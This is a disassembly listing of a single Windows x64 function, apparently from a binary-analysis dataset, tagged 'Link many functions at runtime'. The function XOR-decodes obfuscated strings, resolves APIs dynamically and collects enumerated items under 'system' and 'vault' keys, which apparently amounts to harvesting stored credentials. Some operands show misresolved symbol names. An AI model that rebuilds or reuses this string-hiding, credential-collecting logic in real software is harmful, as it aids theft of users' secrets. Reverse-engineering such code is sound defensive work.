Function at 0x140036c10
Capabilities:
Link many functions at runtime

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x3f0]
sub rsp, 0x4f0
mov rax, qword [0x140179bd0]
xor rax, rsp
mov qword [rbp + 0x3e0], rax
mov dword [rsp + 0x50], 0
mov qword [rbp + 0x268], 0
mov dword [rbp + 0x288], 0
mov dword [rbp + 0x290], 0
xor r14d, r14d
movabs rax, 0x1d85ab1e8cd1b7c9
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp - 0x20], rax
movabs rax, 0x1c0402bbe4f3f3fe
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp - 0x18], rax
movabs r12, 0x74e9c86ae0a4d69f
mov qword [rsp + 0x40], r12
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x3d0], rax
movabs r13, 0x1c0402bb889f97d0
mov qword [rsp + 0x40], r13
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x3d8], rax
movdqa xmm0, xmmword [rbp - 0x20]
xorps xmm0, xmmword [rbp + 0x3d0]
movdqa xmmword [rbp - 0x20], xmm0
lea rcx, [rbp - 0x20]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rsi, rax
mov qword [rbp + 0xc8], rax
test rax, rax
je 0x140037b97
movabs r14, 0x1878d1e8cd1b7c9
mov qword [rsp + 0x40], r14
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x70], rax
movabs rax, 0x7d5267cfe9edf2bd
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x78], rax
movabs rax, 0x10effffca95b541c
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x80], rax
movabs r15, 0xf66e0b6529df0e4a
mov qword [rsp + 0x40], r15
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x88], rax
mov qword [rsp + 0x40], r12
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x390], rax
mov qword [rsp + 0x40], r13
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x398], rax
movabs rdi, 0x10effffcda2f3869
mov qword [rsp + 0x40], rdi
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x3a0], rax
mov qword [rsp + 0x40], r15
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x3a8], rax
movdqa xmm0, xmmword [rbp + 0x70]
xorps xmm0, xmmword [rbp + 0x390]
movdqa xmmword [rbp + 0x70], xmm0
movdqa xmm1, xmmword [rbp + 0x80]
xorps xmm1, xmmword [rbp + 0x3a0]
movdqa xmmword [rbp + 0x80], xmm1
lea rdx, [rbp + 0x70]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
mov qword [rsp + 0x40], r14
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x50], rax
movabs rax, 0x684d67cfe9edf2bd
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x58], rax
movabs rax, 0x10effffcda5c550c
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x60], rax
mov qword [rsp + 0x40], r15
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x68], rax
mov qword [rsp + 0x40], r12
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x3b0], rax
mov qword [rsp + 0x40], r13
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x3b8], rax
mov qword [rsp + 0x40], rdi
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x3c0], rax
mov qword [rsp + 0x40], r15
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x3c8], rax
movdqa xmm0, xmmword [rbp + 0x50]
xorps xmm0, xmmword [rbp + 0x3b0]
movdqa xmmword [rbp + 0x50], xmm0
movdqa xmm1, xmmword [rbp + 0x60]
xorps xmm1, xmmword [rbp + 0x3c0]
movdqa xmmword [rbp + 0x60], xmm1
lea rdx, [rbp + 0x50]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
mov qword [rbp + 0xb0], rax
movabs rax, 0x1199871e8cd1b7c9
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp - 0x10], rax
movabs rax, 0x1c0476d7fdfec1be
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp - 8], rax
mov qword [rsp + 0x40], r12
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x380], rax
mov qword [rsp + 0x40], r13
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x388], rax
movdqa xmm0, xmmword [rbp - 0x10]
xorps xmm0, xmmword [rbp + 0x380]
movdqa xmmword [rbp - 0x10], xmm0
lea rdx, [rbp - 0x10]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r12, rax
mov qword [rbp + 0xc0], rax
movabs rax, 0x8c8f1e8cd1b7c9
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp], rax
movabs rax, 0x1c0402bbe5fae399
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 8], rax
movabs r14, 0x74e9c86ae0a4d69f
mov qword [rsp + 0x40], r14
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x370], rax
mov qword [rsp + 0x40], r13
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x378], rax
movdqa xmm0, xmmword [rbp]
xorps xmm0, xmmword [rbp + 0x370]
movdqa xmmword [rbp], xmm0
lea rdx, [rbp]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r15, rax
mov qword [rbp + 0xa8], rax
movabs rax, 0x119b8e1e8cd1b7c9
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp - 0x30], rax
movabs rax, 0x1c0402bb889f97b5
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp - 0x28], rax
mov qword [rsp + 0x40], r14
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x360], rax
mov qword [rsp + 0x40], r13
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x368], rax
movdqa xmm0, xmmword [rbp - 0x30]
xorps xmm0, xmmword [rbp + 0x360]
movdqa xmmword [rbp - 0x30], xmm0
lea rdx, [rbp - 0x30]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r14, rax
mov qword [rbp + 0xa0], rax
movabs rax, 0x1b858b1e8cd1b7c9
mov qword [rsp + 0x40], rax
mov rcx, qword [rsp + 0x40]
mov qword [rbp - 0x40], rcx
movabs rax, 0x1c706ecee9c9f2a3
mov qword [rsp + 0x40], rax
mov rcx, qword [rsp + 0x40]
mov qword [rbp - 0x38], rcx
movabs rax, 0x74e9c86ae0a4d69f
mov qword [rsp + 0x40], rax
mov rcx, qword [rsp + 0x40]
mov qword [rbp + 0x350], rcx
mov qword [rsp + 0x40], r13
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x358], rax
movdqa xmm0, xmmword [rbp - 0x40]
xorps xmm0, xmmword [rbp + 0x350]
movdqa xmmword [rbp - 0x40], xmm0
lea rdx, [rbp - 0x40]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0xb8], rax
test rbx, rbx
je 0x140037b97
test rdi, rdi
je 0x140037b97
test r12, r12
je 0x140037b97
test r15, r15
je 0x140037b97
test r14, r14
je 0x140037b97
test rax, rax
je 0x140037b97
lea r8, [rbp + 0x268]
lea rdx, [rbp + 0x288]
xor ecx, ecx
call rbx
test eax, eax
jne 0x140037b97
xor ebx, ebx
mov dword [rsp + 0x40], ebx
cmp dword [rbp + 0x288], ebx
jbe 0x140037b97
mov esi, dword [rsp + 0x50]
nop word [rax + rax]
mov ecx, ebx
shl rcx, 4
add rcx, qword [rbp + 0x268]
lea r8, [rbp + 0x278]
xor edx, edx
call r12
test eax, eax
jne 0x140037b7e
lea r9, [rbp + 0x280]
lea r8, [rbp + 0x290]
mov edx, 0x200
mov rcx, qword [rbp + 0x278]
call rdi
test eax, eax
jne 0x140037b7e
mov r13, qword [rbp + 0x280]
xor eax, eax
mov r12d, eax
cmp dword [rbp + 0x290], eax
jbe 0x140037b64
jmp 0x140037182
xor eax, eax
xor bl, bl
xorps xmm0, xmm0
movups xmmword [rbp + 0x298], xmm0
mov qword [rbp + 0x298], rax
mov qword [rbp + 0x2a0], rax
mov ecx, 0x50
call fcn.140093068
mov qword [rax], rax
mov qword [rax + 8], rax
mov qword [rax + 0x10], rax
mov word [rax + 0x18], 0x101
mov qword [rbp + 0x298], rax
mov eax, r12d
lea rdi, [rax + rax*4]
shl rdi, 4
add rdi, r13
mov rax, qword [rdi + 0x18]
test rax, rax
je 0x14003744f
mov rdx, qword [rax + 0x10]
test rdx, rdx
je 0x14003744f
lea rcx, [rbp + 0x2a8]
call fcn.1400470e0
nop
lea rax, [rbp + 0x170]
mov qword [rbp + 0x1a0], rax
lea rdx, [rbp + 0x2a8]
cmp qword [rbp + 0x2c0], 0x10
cmovae rdx, qword [rbp + 0x2a8]
mov r8, qword [rbp + 0x2b8]
lea rcx, [rbp + 0xd0]
call fcn.14003d3c0
or esi, 2
mov dword [rsp + 0x50], esi
lea rdx, [rbp + 0xd0]
lea rcx, [rbp + 0x170]
call fcn.14003d560
mov rbx, rax
mov qword [rbp + 0x1a8], rax
movabs rax, 0x74e9c86ae0c8a4ea
mov qword [rsp + 0x48], rax
mov rcx, qword [rsp + 0x48]
mov qword [rsp + 0x70], rcx
movabs rax, 0x1c0402bb889f97d0
mov qword [rsp + 0x48], rax
mov rcx, qword [rsp + 0x48]
mov qword [rsp + 0x78], rcx
movabs rcx, 0x74e9c86ae0a4d69f
mov qword [rsp + 0x48], rcx
mov rcx, qword [rsp + 0x48]
mov qword [rbp + 0x340], rcx
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
mov qword [rbp + 0x348], rax
movdqa xmm0, xmmword [rsp + 0x70]
xorps xmm0, xmmword [rbp + 0x340]
movdqa xmmword [rsp + 0x70], xmm0
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
xor eax, eax
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x48], rax
lea rax, [rsp + 0x70]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1400372e0
lea rdx, [rsp + 0x70]
lea rcx, [rbp - 0x60]
call fcn.14002db70
nop
lea r8, [rbp - 0x60]
lea rdx, [rbp + 0x1e0]
lea rcx, [rbp + 0x298]
call fcn.14003df80
mov r8, qword [rax]
movzx ecx, byte [r8 + 0x40]
movzx eax, byte [rbx]
mov byte [r8 + 0x40], al
mov byte [rbx], cl
lea rcx, [rbx + 8]
mov rax, qword [r8 + 0x48]
mov rdx, qword [rcx]
mov qword [r8 + 0x48], rdx
mov qword [rcx], rax
movzx edx, byte [rbx]
call fcn.14003b5d0
nop
mov rdx, qword [rbp - 0x48]
cmp rdx, 0x10
jb 0x140037377
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140037372
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140037c4d
call fcn.140092f40
xor ecx, ecx
mov qword [rbp - 0x50], rcx
mov qword [rbp - 0x48], send
mov byte [rbp - 0x60], cl
mov esi, dword [rsp + 0x50]
and esi, 0xfffffffd
mov dword [rsp + 0x50], esi
mov rdx, qword [rbp + 0xe8]
cmp rdx, 0x10
jb 0x1400373d6
inc rdx
mov rcx, qword [rbp + 0xd0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400373cf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140037c53
call fcn.140092f40
xor ecx, ecx
mov qword [rbp + 0xe0], rcx
mov qword [rbp + 0xe8], send
mov byte [rbp + 0xd0], 0
mov bl, 1
mov rdx, qword [rbp + 0x2c0]
cmp rdx, 0x10
jb 0x140037434
inc rdx
mov rcx, qword [rbp + 0x2a8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003742d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140037c59
call fcn.140092f40
xor ecx, ecx
mov qword [rbp + 0x2b8], rcx
mov qword [rbp + 0x2c0], send
mov byte [rbp + 0x2a8], 0
jmp 0x140037451
xor ecx, ecx
mov rax, qword [rdi + 0x20]
test rax, rax
je 0x1400376cc
mov rdx, qword [rax + 0x10]
test rdx, rdx
je 0x1400376cc
lea rcx, [rbp + 0x2c8]
call fcn.1400470e0
nop
lea rax, [rbp + 0x180]
mov qword [rbp + 0x1b0], rax
lea rdx, [rbp + 0x2c8]
cmp qword [rbp + 0x2e0], 0x10
cmovae rdx, qword [rbp + 0x2c8]
mov r8, qword [rbp + 0x2d8]
lea rcx, [rbp + 0xf0]
call fcn.14003d3c0
or esi, 8
mov dword [rsp + 0x50], esi
lea rdx, [rbp + 0xf0]
lea rcx, [rbp + 0x180]
call fcn.14003d560
mov rbx, rax
mov qword [rbp + 0x1b8], rax
movabs rax, 0x74e9c86a92c1a5ea
mov qword [rsp + 0x48], rax
mov rcx, qword [rsp + 0x48]
mov qword [rbp - 0x80], rcx
movabs rax, 0x1c0402bb889f97d0
mov qword [rsp + 0x48], rax
mov rcx, qword [rsp + 0x48]
mov qword [rbp - 0x78], rcx
movabs rcx, 0x74e9c86ae0a4d69f
mov qword [rsp + 0x48], rcx
mov rcx, qword [rsp + 0x48]
mov qword [rbp + 0x330], rcx
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
mov qword [rbp + 0x338], rax
movdqa xmm0, xmmword [rbp - 0x80]
xorps xmm0, xmmword [rbp + 0x330]
movdqa xmmword [rbp - 0x80], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x30], xmm0
xor eax, eax
mov qword [rbp + 0x40], rax
mov qword [rbp + 0x48], rax
lea rax, [rbp - 0x80]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140037560
lea rdx, [rbp - 0x80]
lea rcx, [rbp + 0x30]
call fcn.14002db70
nop
lea r8, [rbp + 0x30]
lea rdx, [rbp + 0x1f0]
lea rcx, [rbp + 0x298]
call fcn.14003df80
mov r8, qword [rax]
movzx ecx, byte [r8 + 0x40]
movzx eax, byte [rbx]
mov byte [r8 + 0x40], al
mov byte [rbx], cl
lea rcx, [rbx + 8]
mov rax, qword [r8 + 0x48]
mov rdx, qword [rcx]
mov qword [r8 + 0x48], rdx
mov qword [rcx], rax
movzx edx, byte [rbx]
call fcn.14003b5d0
nop
mov rdx, qword [rbp + 0x48]
cmp rdx, 0x10
jb 0x1400375f6
inc rdx
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400375f1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140037c5f
call fcn.140092f40
xor ecx, ecx
mov qword [rbp + 0x40], rcx
mov qword [rbp + 0x48], send
mov byte [rbp + 0x30], cl
mov esi, dword [rsp + 0x50]
and esi, 0xfffffff7
mov dword [rsp + 0x50], esi
mov rdx, qword [rbp + 0x108]
cmp rdx, 0x10
jb 0x140037655
inc rdx
mov rcx, qword [rbp + 0xf0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003764e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140037c65
call fcn.140092f40
xor ecx, ecx
mov qword [rbp + 0x100], rcx
mov qword [rbp + 0x108], send
mov byte [rbp + 0xf0], 0
mov bl, 1
mov rdx, qword [rbp + 0x2e0]
cmp rdx, 0x10
jb 0x1400376b3
inc rdx
mov rcx, qword [rbp + 0x2c8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400376ac
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140037c6b
call fcn.140092f40
xor ecx, ecx
mov qword [rbp + 0x2d8], rcx
mov qword [rbp + 0x2e0], send
mov byte [rbp + 0x2c8], 0
mov qword [rbp + 0x270], rcx
lea rax, [rbp + 0x270]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], ecx
mov qword [rsp + 0x28], rcx
mov rax, qword [rdi + 0x30]
mov qword [rsp + 0x20], rax
mov r9, qword [rdi + 0x20]
mov r8, qword [rdi + 0x18]
mov rdx, rdi
mov rcx, qword [rbp + 0x278]
call r15
test eax, eax
jne 0x140037996
mov rcx, qword [rbp + 0x270]
mov rax, qword [rcx + 0x28]
test rax, rax
je 0x14003798e
mov rdx, qword [rax + 0x10]
test rdx, rdx
je 0x14003798e
lea rcx, [rbp + 0x2e8]
call fcn.1400470e0
nop
lea rax, [rbp + 0x190]
mov qword [rbp + 0x1c0], rax
lea rdx, [rbp + 0x2e8]
cmp qword [rbp + 0x300], 0x10
cmovae rdx, qword [rbp + 0x2e8]
mov r8, qword [rbp + 0x2f8]
lea rcx, [rbp + 0x110]
call fcn.14003d3c0
or esi, 0x10
mov dword [rsp + 0x50], esi
lea rdx, [rbp + 0x110]
lea rcx, [rbp + 0x190]
call fcn.14003d560
mov rbx, rax
mov qword [rbp + 0x1c8], rax
movabs rax, 0x74e9c86a93d7b7ef
mov qword [rsp + 0x48], rax
mov rcx, qword [rsp + 0x48]
mov qword [rbp - 0x70], rcx
movabs rax, 0x1c0402bb889f97d0
mov qword [rsp + 0x48], rax
mov rcx, qword [rsp + 0x48]
mov qword [rbp - 0x68], rcx
movabs rcx, 0x74e9c86ae0a4d69f
mov qword [rsp + 0x48], rcx
mov rcx, qword [rsp + 0x48]
mov qword [rbp + 0x320], rcx
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
mov qword [rbp + 0x328], rax
movdqa xmm0, xmmword [rbp - 0x70]
xorps xmm0, xmmword [rbp + 0x320]
movdqa xmmword [rbp - 0x70], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x10], xmm0
xor edi, edi
mov qword [rbp + 0x20], rdi
mov qword [rbp + 0x28], rdi
lea rax, [rbp - 0x70]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], dil
jne 0x140037821
lea rdx, [rbp - 0x70]
lea rcx, [rbp + 0x10]
call fcn.14002db70
nop
lea r8, [rbp + 0x10]
lea rdx, [rbp + 0x200]
lea rcx, [rbp + 0x298]
call fcn.14003df80
mov r8, qword [rax]
movzx ecx, byte [r8 + 0x40]
movzx eax, byte [rbx]
mov byte [r8 + 0x40], al
mov byte [rbx], cl
lea rcx, [rbx + 8]
mov rax, qword [r8 + 0x48]
mov rdx, qword [rcx]
mov qword [r8 + 0x48], rdx
mov qword [rcx], rax
movzx edx, byte [rbx]
call fcn.14003b5d0
nop
mov rdx, qword [rbp + 0x28]
cmp rdx, 0x10
jb 0x1400378b6
inc rdx
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400378b1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140037c71
call fcn.140092f40
mov qword [rbp + 0x20], rdi
mov qword [rbp + 0x28], send
mov byte [rbp + 0x10], 0
mov esi, dword [rsp + 0x50]
and esi, 0xffffffef
mov dword [rsp + 0x50], esi
mov rdx, qword [rbp + 0x128]
cmp rdx, 0x10
jb 0x140037912
inc rdx
mov rcx, qword [rbp + 0x110]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003790d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140037bef
call fcn.140092f40
mov qword [rbp + 0x120], rdi
mov qword [rbp + 0x128], send
mov byte [rbp + 0x110], 0
mov bl, 1
mov rdx, qword [rbp + 0x300]
cmp rdx, 0x10
jb 0x14003796e
inc rdx
mov rcx, qword [rbp + 0x2e8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140037969
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140037c47
call fcn.140092f40
mov qword [rbp + 0x2f8], rdi
mov qword [rbp + 0x300], send
mov byte [rbp + 0x2e8], 0
mov rcx, qword [rbp + 0x270]
test rcx, rcx
je 0x140037996
call r14
test bl, bl
je 0x140037b36
lea rax, [rbp + 0x150]
mov qword [rbp + 0x1d0], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x150], xmm0
xor edi, edi
mov qword [rbp + 0x160], rdi
mov qword [rbp + 0x168], rdi
lea r8d, [rdi + 6]
lea rdx, str.system
lea rcx, [rbp + 0x150]
call fcn.14002db70
nop
lea rdx, [rbp + 0x150]
lea rcx, [0x140179f00]
call fcn.140039da0
mov rbx, rax
lea rax, [rbp + 0x130]
mov qword [rbp + 0x1d8], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x130], xmm0
mov qword [rbp + 0x140], rdi
mov qword [rbp + 0x148], rdi
lea r8d, [rdi + 5]
lea rdx, str.vault
lea rcx, [rbp + 0x130]
call fcn.14002db70
nop
lea rdx, [rbp + 0x130]
mov rcx, rbx
call fcn.140039da0
mov r14, rax
mov byte [rsp + 0x58], dil
xor eax, eax
mov qword [rsp + 0x60], rax
xor edx, edx
lea rcx, [rsp + 0x60]
call fcn.14003b5d0
mov byte [rsp + 0x58], 1
mov rdi, qword [rbp + 0x298]
mov rbx, qword [rdi]
xorps xmm0, xmm0
movups xmmword [rbp + 0x308], xmm0
mov ecx, reloc.WS2_32.dll_recv
call fcn.140093068
mov r15, rax
lea rax, [rbp + 0x28c]
mov qword [rbp + 0x308], rax
mov qword [rbp + 0x310], r15
mov r8, rdi
mov rdx, rbx
mov rcx, r15
call fcn.140041c90
mov qword [rbp + 0x310], 0
mov qword [rsp + 0x60], r15
movzx eax, byte [r14]
test al, al
je 0x140037ac7
cmp al, 2
jne 0x140037bf5
jmp 0x140037ae4
mov byte [r14], 2
mov dl, 2
lea rcx, [rbp + 0x98]
call fcn.14003ba60
mov rax, qword [rbp + 0x98]
mov qword [r14 + 8], rax
mov rcx, qword [r14 + 8]
mov rdx, qword [rcx + 8]
cmp rdx, qword [rcx + 0x10]
je 0x140037b0f
mov byte [rdx], 1
mov qword [rdx + 8], r15
xor dl, dl
mov byte [rsp + 0x58], dl
mov qword [rsp + 0x60], 0
add qword [rcx + 8], 0x10
jmp 0x140037b1e
lea r8, [rsp + 0x58]
call fcn.140040910
movzx edx, byte [rsp + 0x58]
lea rcx, [rsp + 0x60]
call fcn.14003b5d0
mov r14, qword [rbp + 0xa0]
mov r15, qword [rbp + 0xa8]
lea rcx, [rbp + 0x298]
call fcn.140039870
inc r12d
cmp r12d, dword [rbp + 0x290]
jb 0x140037180
mov r13, qword [rbp + 0x280]
mov ebx, dword [rsp + 0x40]
mov rdi, qword [rbp + 0xb0]
mov rcx, r13
call r14
mov rcx, qword [rbp + 0x278]
call qword [rbp + reloc.SHLWAPI.dll_IStream_Read]
mov r12, qword [rbp + 0xc0]
inc ebx
mov dword [rsp + 0x40], ebx
cmp ebx, dword [rbp + 0x288]
jb 0x140037120
mov rsi, qword [rbp + 0xc8]
mov rcx, qword [rbp + 0x268]
test rcx, rcx
je 0x140037bb1
call r14
mov qword [rbp + 0x268], 0
test rsi, rsi
je 0x140037bbf
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rcx, qword [rbp + 0x3e0]
xor rcx, rsp
call fcn.140092f20
lea r11, [rsp + 0x4f0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.14006fa90
nop
mov rcx, r14
call fcn.14003bc20
mov qword [rbp + 0x90], rax
lea r8, [rbp + 0x90]
lea rdx, str.cannot_use_push_back___with
lea rcx, [rbp + 0x248]
call fcn.14003e1b0
nop
mov r8, rax
mov edx, 0x134
lea rcx, [rbp + 0x210]
call fcn.14003e280
lea rdx, [0x1401771d0]
lea rcx, [rbp + 0x210]
call fcn.140095ee8
nop
call fcn.14006fa90
nop
call fcn.14006fa90
nop
call fcn.14006fa90
nop
call fcn.14006fa90
nop
call fcn.14006fa90
nop
call fcn.14006fa90
nop
call fcn.14006fa90
nop
call fcn.14006fa90
int3